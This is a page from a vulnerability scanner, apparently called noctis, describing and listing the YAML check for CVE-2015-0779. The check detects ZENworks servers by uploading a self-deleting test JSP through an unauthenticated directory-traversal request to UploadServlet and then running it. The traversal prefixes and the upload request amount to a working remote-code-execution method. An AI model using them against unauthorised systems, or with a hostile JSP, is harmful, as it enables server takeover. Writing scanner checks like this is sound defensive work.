Novell ZENworks — 1 vulnerability check

noctis ships 1 vulnerability check for Novell ZENworks, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Novell ZENworks Configuration Management UploadServlet Unauthenticated JSP Upload

CVECVE-2015-0779
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/novell-zenworks/CVE-2015-0779.yaml

Detects Novell ZENworks Configuration Management 11.3.1 and earlier, whose /zenworks/UploadServlet accepts files without authentication and does not check its "uid" parameter for directory traversal, so a file can be written into the Tomcat web applications and then run. The test first checks that /zenworks/UploadServlet shows the ZENworks file upload page. It then posts a small per-run JSP with a uid that walks up from the upload directory into the ZENworks web application (the standard Linux install path, then the relative ../webapps/ path used by other installs) and requests the JSP. The JSP only prints the sum of two random numbers chosen for this run and then deletes itself. The finding is reported when that computed sum comes back, which proves that the file was written and executed by the server. Any copy that the server does not run (when a path does not lead into the web application, or the JSP is not executed) stays where it was written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /zenworks/UploadServlet
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script, for each of 2 values
  5. HTTP(S) request POST /zenworks/UploadServlet?uid={{prefix}}zenworks/jsp/core/upload&filename={{fname}} with a crafted body
  6. HTTP(S) request GET /zenworks/jsp/core/upload/{{fname}}
  7. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: POST /zenworks/UploadServlet?uid=…zenworks/jsp/core/upload&filename=… (no authentication) wrote the JSP into the ZENworks web application, …

References:

Feed source — tests/vulnerabilities/novell-zenworks/CVE-2015-0779.yaml
# Novell ZENworks Configuration Management (ZCM) <= 11.3.1 — unauthenticated
# arbitrary file write through /zenworks/UploadServlet: the "uid" parameter is
# joined to the servlet's temp directory without a traversal check, so a POST
# can drop a file into the Tomcat webapps tree (CVE-2015-0779, fixed in 11.3.2).
#
# Ported from OpenVAS/Greenbone NVT
#   2015/gb_novell_zenworks_configuration_management_cve_2015_0779.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105251, GPL-2.0-only)
# Traversal prefixes as in the NASL and the Metasploit module
#   exploits/multi/http/zenworks_configuration_management_upload
#   (Pedro Ribeiro, full-disclosure 2015/Apr/21).
#
# Detection:
#   1. GET /zenworks/UploadServlet must show the "ZENworks File Upload" page
#      (product gate, as in the NASL).
#   2. For each traversal prefix (Linux absolute install path, then the
#      relative ../webapps/ that fits other installs):
#      POST /zenworks/UploadServlet?uid=<prefix>zenworks/jsp/core/upload&filename=<rand>.jsp
#      (a fresh file name per pass — Tomcat caches a 404 for a few seconds)
#      with a per-run JSP as the raw body, then GET /zenworks/jsp/core/upload/<rand>.jsp.
#      The JSP prints NOCTIS<a+b>END — the sum of two per-run random numbers,
#      never present in the uploaded source — then deletes its own file.
#      Only a server that wrote the file into the web application AND ran it
#      returns the sum (QoD 97).
#
# Deviations from the NASL (better detection):
#   - The NASL uploads a ".jsc" file. Tomcat runs ".jsp" through its default
#     JSP servlet in every web application, so ".jsp" does not depend on an
#     extra servlet mapping; the probe file also deletes itself, the NASL's
#     file stays on the server.
#   - The NASL requires "<status>success</status>" in the upload reply; the
#     advisory and the Metasploit module only rely on the HTTP 200, so this
#     feed requests the file after any 200 and lets the computed sum decide.
uid: 8f0a5533-3f8b-47e3-8fd1-bd4e49298818
name: "Novell ZENworks Configuration Management UploadServlet Unauthenticated JSP Upload (CVE-2015-0779)"
description: |
  Detects Novell ZENworks Configuration Management 11.3.1 and earlier, whose
  /zenworks/UploadServlet accepts files without authentication and does not
  check its "uid" parameter for directory traversal, so a file can be written
  into the Tomcat web applications and then run. The test first checks that
  /zenworks/UploadServlet shows the ZENworks file upload page. It then posts a
  small per-run JSP with a uid that walks up from the upload directory into
  the ZENworks web application (the standard Linux install path, then the
  relative ../webapps/ path used by other installs) and requests the JSP. The
  JSP only prints the sum of two random numbers chosen for this run and then
  deletes itself. The finding is reported when that computed sum comes back,
  which proves that the file was written and executed by the server. Any
  copy that the server does not run (when a path does not lead into the web
  application, or the JSP is not executed) stays where it was written.
cves: [CVE-2015-0779]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [novell, zenworks, zcm, file-upload, path-traversal, jsp, tomcat, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-0779"
  - "https://seclists.org/fulldisclosure/2015/Apr/21"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/zenworks_configuration_management_upload.rb"
  - "https://www.novell.com/support/kb/doc.php?id=7016419"
  - "https://www.exploit-db.com/exploits/36964"

steps:
  # Per-run file name and operands. The marker is a+b, which never appears in
  # the uploaded JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name_prefix: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # ── 1. Product gate ──────────────────────────────────────────────────────
  # Pre-initialised so a connect error leaves no undefined var for gate_check.
  - id: init_gp
    action: set_var
    var_name: gp
    var_value: {status: 0, body: ""}

  - id: gate
    action: http_request
    method: GET
    path: "/zenworks/UploadServlet"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gp

  - id: gate_check
    action: script
    code: |
      #{ ok: gp.status == 200 && stridx(gp.body, "ZENworks File Upload") >= 0 }
    store_as: zcm

  # ── 2. Upload + run a self-deleting JSP, once per traversal prefix ───────
  # The loop group re-initialises the stored results on every pass, so a
  # skipped request never leaves a stale value from the previous prefix. Each
  # pass uses its own file name: Tomcat caches a 404 for a few seconds, so
  # re-using the name of the first pass's missing file would hide the second.
  - id: pass_name
    action: script
    code: |
      g.name_prefix + rand_hex(4) + ".jsp"
    store_as: fname
    loop:
      over:
        - "../../../opt/novell/zenworks/share/tomcat/webapps/"
        - "../webapps/"
      var: prefix

  - id: init_up
    action: set_var
    var_name: up
    var_value: {status: 0, body: ""}

  - id: init_jsp
    action: set_var
    var_name: jsp
    var_value: {status: 0, body: ""}

  - id: upload
    action: http_request
    method: POST
    path: "/zenworks/UploadServlet?uid={{prefix}}zenworks/jsp/core/upload&filename={{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "zcm.ok"
    headers:
      Content-Type: "application/octet-stream"
    body: "<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/zenworks/jsp/core/upload/{{fname}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "zcm.ok && up.status == 200"
    store_as: jsp

  # Only a server that wrote AND executed the JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "zcm.ok && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "POST /zenworks/UploadServlet?uid={{prefix}}zenworks/jsp/core/upload&filename={{fname}} (no authentication) wrote the JSP into the ZENworks web application, and GET /zenworks/jsp/core/upload/{{fname}} executed it, returning the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

View these feeds on GitHub